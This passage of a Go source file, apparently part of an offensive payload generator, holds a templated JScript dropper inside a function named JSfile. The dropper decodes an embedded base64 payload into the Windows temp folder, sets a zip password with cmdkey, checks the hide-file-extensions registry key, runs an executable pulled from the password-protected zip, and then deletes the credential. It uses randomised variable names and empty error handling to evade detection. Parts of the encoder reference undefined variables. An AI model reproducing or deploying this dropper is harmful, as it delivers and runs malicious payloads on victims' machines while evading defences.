()
| 150 | } |
| 151 | |
| 152 | func JSfile() string { |
| 153 | return ` |
| 154 | try { |
| 155 | |
| 156 | |
| 157 | var {{.Variables.fso}} = new ActiveXObject("Scripting.FileSystemObject"); |
| 158 | var {{.Variables.dropPath}} = {{.Variables.fso}}.GetSpecialFolder(2); |
| 159 | |
| 160 | var {{.Variables.base6411}}={ {{.Variables.characters}}:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function({{.Variables.atest}}){ {{.Variables.base6411}}.{{.Variables.characters}};var {{.Variables.rtest}}="",{{.Variables.ctest}}=0;do{var {{.Variables.etest}}={{.Variables.atest}}.charCodeAt({{.Variables.ctest}}++),{{.Variables.ttest}}={{.Variables.atest}}.charCodeAt(c++),{{.Variables.htest}}=a.charCodeAt(c++),s=(e=e||0)>>2&63,A=(3&e)<<4|(t=t||0)>>4&15,o=(15&t)<<2|(h=h||0)>>6&3,B=63&h;t?h||(B=64):o=B=64,{{.Variables.rtest}}+={{.Variables.base6411}}.{{.Variables.characters}}.charAt(s)+{{.Variables.base6411}}.{{.Variables.characters}}.charAt(A)+{{.Variables.base6411}}.{{.Variables.characters}}.charAt(o)+{{.Variables.base6411}}.{{.Variables.characters}}.charAt(B)}while(c<a.length);return {{.Variables.rtest}}}}; |
| 161 | function Magic1({{.Variables.rtest}}){if(!/^[a-z0-9+/]+={0,2}$/i.test({{.Variables.rtest}})||{{.Variables.rtest}}.length%4!=0)throw Error("Not {{.Variables.base6411}} string");for(var t,e,n,o,i,a,f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",h=[],d=0;d<{{.Variables.rtest}}.length;d+=4)t=(a=f.indexOf({{.Variables.rtest}}.charAt(d))<<18|f.indexOf({{.Variables.rtest}}.charAt(d+1))<<12|(o=f.indexOf({{.Variables.rtest}}.charAt(d+2)))<<6|(i=f.indexOf({{.Variables.rtest}}.charAt(d+3))))>>>16&255,e=a>>>8&255,n=255&a,h[d/4]=String.fromCharCode(t,e,n),64==i&&(h[d/4]=String.fromCharCode(t,e)),64==o&&(h[d/4]=String.fromCharCode(t));return {{.Variables.rtest}}=h.join("")} |
| 162 | function {{.Variables.binaryWriter}}({{.Variables.res1}},{{.Variables.filename1}}) |
| 163 | {var {{.Variables.base6411}}decoded=Magic1({{.Variables.res1}});var {{.Variables.TextStream11}}=new ActiveXObject('ADODB.Stream');{{.Variables.TextStream11}}.Type=2;{{.Variables.TextStream11}}.charSet='iso-8859-1';{{.Variables.TextStream11}}.Open();{{.Variables.TextStream11}}.WriteText({{.Variables.base6411}}decoded);var {{.Variables.BinaryStream}}=new ActiveXObject('ADODB.Stream');{{.Variables.BinaryStream}}.Type=1;{{.Variables.BinaryStream}}.Open();{{.Variables.TextStream11}}.Position=0;{{.Variables.TextStream11}}.CopyTo({{.Variables.BinaryStream}});{{.Variables.BinaryStream}}.SaveToFile({{.Variables.filename1}},2);{{.Variables.BinaryStream}}.Close()} |
| 164 | |
| 165 | var {{.Variables.dll}} = '{{.Variables.dll_code}}' |
| 166 | |
| 167 | |
| 168 | {{.Variables.binaryWriter}}({{.Variables.dll}},{{.Variables.dropPath}}+"\\{{.Variables.FileName}}{{.Variables.dllext}}"); |
| 169 | function {{.Variables.WindowsUnZip}}() |
| 170 | { |
| 171 | var {{.Variables.objShell}} = new ActiveXObject("shell.application"); |
| 172 | var {{.Variables.WshShell}} = new ActiveXObject("WScript.Shell"); |
| 173 | var {{.Variables.objFolder}}; |
| 174 | var {{.Variables.FileExt}} = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\HideFileExt"; |
| 175 | var {{.Variables.ssfPROGRAMS}} = ""+{{.Variables.dropPath}}+"\\{{.Variables.FileName}}.zip"; |
| 176 | {{.Variables.objFolder}} = {{.Variables.objShell}}.NameSpace({{.Variables.ssfPROGRAMS}}); |
| 177 | var {{.Variables.objFolderItems}}; |
| 178 | {{.Variables.objFolderItems}} = {{.Variables.objFolder}}.Items(); |
| 179 | WScript.Sleep(5000); |
| 180 | |
| 181 | var {{.Variables.w}} = {{.Variables.WshShell}}.RegRead({{.Variables.FileExt}}); |
| 182 | if ({{.Variables.w}} < 1) { |
| 183 | {{.Variables.objFolderItem}} = {{.Variables.objFolderItems}}.Item({{.Variables.objFolderItems}}.Item(0).Name); |
| 184 | }else { |
| 185 | {{.Variables.objFolderItem}} = {{.Variables.objFolderItems}}.Item(({{.Variables.objFolderItems}}.Item(0).Name)+".exe"); |
| 186 | } |
| 187 | {{.Variables.objFolderItem}}.Verbs().Item(0).DoIt() |
| 188 | } |
| 189 | var {{.Variables.pathworks}} = new ActiveXObject("Wscri"+"pt.shell"); |
| 190 | var {{.Variables.PATH}} = {{.Variables.pathworks}}.ExpandEnvironmentStrings("%TEMP%"); |
| 191 | |
| 192 | var {{.Variables.Shell}} = new ActiveXObject("shell.application"); |
| 193 | {{.Variables.Shell}}.ShellExecute('cmdkey', '/generic:Microsoft_Windows_Shell_ZipFolder:filename='+{{.Variables.PATH}}+'\\{{.Variables.FileName}}.zip /pass:{{.Variables.password}} /user:""','','',0); |
| 194 | {{.Variables.WindowsUnZip}}(); |
| 195 | WScript.Sleep(5000); |
| 196 | {{.Variables.Shell}}.ShellExecute('cmdkey', '/delete Microsoft_Windows_Shell_ZipFolder:filename='+{{.Variables.PATH}}+'\\{{.Variables.FileName}}.zip','','',0); |
| 197 | |
| 198 | |
| 199 | |
| 200 | }catch(e) { |
| 201 | }` |
| 202 | } |
| 203 | |
| 204 | func WScript_Sandbox() string { |
| 205 | return ` |
no outgoing calls
no test coverage detected